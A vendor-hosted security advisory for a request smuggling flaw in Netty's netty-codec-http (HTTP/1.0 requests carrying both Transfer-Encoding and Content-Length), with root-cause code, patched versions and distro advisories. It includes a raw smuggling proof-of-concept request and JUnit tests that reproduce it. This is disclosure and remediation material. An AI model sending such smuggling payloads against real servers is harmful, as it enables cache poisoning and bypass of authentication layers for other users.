GHSA-xxqh-mfjm-7mv9 — netty-codec-http
MEDIUMGHSA-xxqh-mfjm-7mv9 is a medium-severity (CVSS 5.8) CWE-444 vulnerability in io.netty:netty-codec-http. A fix is available for io.netty:netty-codec-http — see the affected versions and patch details below.
Netty HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-xxqh-mfjm-7mv9.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-xxqh-mfjm-7mv9 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
io.netty:netty-codec-http☕io.netty:netty-codec-httpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization
| Field | Value |
|---|---|
| Library | io.netty:netty-codec-http |
| Component | codec-http — HttpObjectDecoder |
| Severity | HIGH |
| Affects | HEAD, commit 4f3533ae confirmed |
Summary
HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling.
Root Cause
// HttpObjectDecoder.java:828-833
if (HttpUtil.isTransferEncodingChunked(message)) {
this.chunked = true;
if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP_1_1) {
handleTransferEncodingChunkedWithContentLength(message); // strips CL — HTTP/1.1 only
}
return State.READ_CHUNK_SIZE;
}
// HttpObjectDecoder.java:870-873
protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) {
message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);
contentLength = Long.MIN_VALUE;
}
The conflict-resolution path is gated on message.protocolVersion() == HttpVersion.HTTP_1_1. When the request declares HTTP/1.0, the condition is false, handleTransferEncodingChunkedWithContentLength is never called, and the Content-Length header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.
Proof of Concept
POST /api HTTP/1.0\r\n
Host: internal.example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 0\r\n
\r\n
5\r\n
GPOST\r\n
0\r\n
\r\n
Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads Content-Length: 0, considers the request complete at the blank line, and treats 5\r\nGPOST\r\n0\r\n\r\n as the start of a second request.
Conditions Required
- Netty is deployed behind a reverse proxy or load balancer that is
Content-Length-first (nginx, some HAProxy configs, AWS ALB in certain modes). - Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation).
- No additional HTTP/1.0 stripping layer between attacker and Netty.
Impact
Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.
Confirmed PoC Test
Verified against HEAD (4f3533ae) using EmbeddedChannel. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.
package io.netty.handler.codec.http;
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.util.CharsetUtil;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
public class NettySmugglingSec001Test {
// VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict
@Test
public void http10_contentLengthNotStripped() {
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
ch.writeInbound(Unpooled.copiedBuffer(
"POST /api HTTP/1.0\r\n" +
"Transfer-Encoding: chunked\r\n" +
"Content-Length: 0\r\n" +
"\r\n" +
"5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));
HttpRequest req = ch.readInbound();
assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());
// Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request
assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "VULNERABLE: CL not stripped");
ch.finishAndReleaseAll();
}
// SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict
@Test
public void http11_contentLengthStripped() {
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
ch.writeInbound(Unpooled.copiedBuffer(
"POST /api HTTP/1.1\r\n" +
"Transfer-Encoding: chunked\r\n" +
"Content-Length: 0\r\n" +
"\r\n" +
"5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));
HttpRequest req = ch.readInbound();
assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "SAFE: CL correctly stripped");
ch.finishAndReleaseAll();
}
}
Fix Guidance
Remove the message.protocolVersion() == HttpVersion.HTTP_1_1 guard in HttpObjectDecoder, applying handleTransferEncodingChunkedWithContentLength unconditionally whenever both Transfer-Encoding: chunked and Content-Length are present, regardless of protocol version.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.netty:netty-codec-http | ≥ 4.2.0.Alpha1&&< 4.2.13.Final | 4.2.13.Finalio.netty:netty-codec-http:4.2.13.Final |
| ☕Maven | io.netty:netty-codec-http | all versions | 4.1.133.Finalio.netty:netty-codec-http:4.1.133.Final |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-http, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update io.netty:netty-codec-http to 4.2.13.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xxqh-mfjm-7mv9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-xxqh-mfjm-7mv9 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-xxqh-mfjm-7mv9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This is an Important flaw. Netty's HttpObjectDecoder, used across various Red Hat products, improperly handles conflicting `Transfer-Encoding: chunked` and `Content-Length` headers in HTTP/1.0 requests. This allows a remote attacker to perform HTTP request smuggling, potentially bypassing security controls or gaining…
To mitigate this issue, configure any reverse proxies or load balancers in front of Netty to either reject HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers, or to explicitly prioritize the Transfer-Encoding header over Content-Length for HTTP/1.0 traffic. This ensures consistent interpretation of message boundaries and prevents request smuggling attacks.Source: Red Hat security advisory for GHSA-xxqh-mfjm-7mv9 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| AMQ Clients 2026.Q3 | netty-codec-http | RHSA-2026:69459 |
| Cryostat 4 on RHEL 9 | cryostat/cryostat-reports-rhel9:4.2.0-10 | RHSA-2026:28010 |
| Red Hat AMQ Broker 7.13.6 | netty-codec-http | RHSA-2026:66545 |
| Red Hat AMQ Broker 7.14.1 | netty-codec-http | RHSA-2026:66488 |
| Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16 | netty-codec-http | RHSA-2026:37390 |
| Red Hat build of Quarkus 3.27.4 | netty-codec-http | RHSA-2026:23808 |
| Red Hat build of Quarkus 3.33.2 | see advisory | RHSA-2026:24502 |
| Red Hat JBoss Enterprise Application Platform 7.4.25 | io.netty/netty-codec-http:4.1.135.Final-redhat-00001 | RHSA-2026:53806 |
Frequently Asked Questions
Is GHSA-xxqh-mfjm-7mv9 in your dependencies?
O3 Security finds GHSA-xxqh-mfjm-7mv9 across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.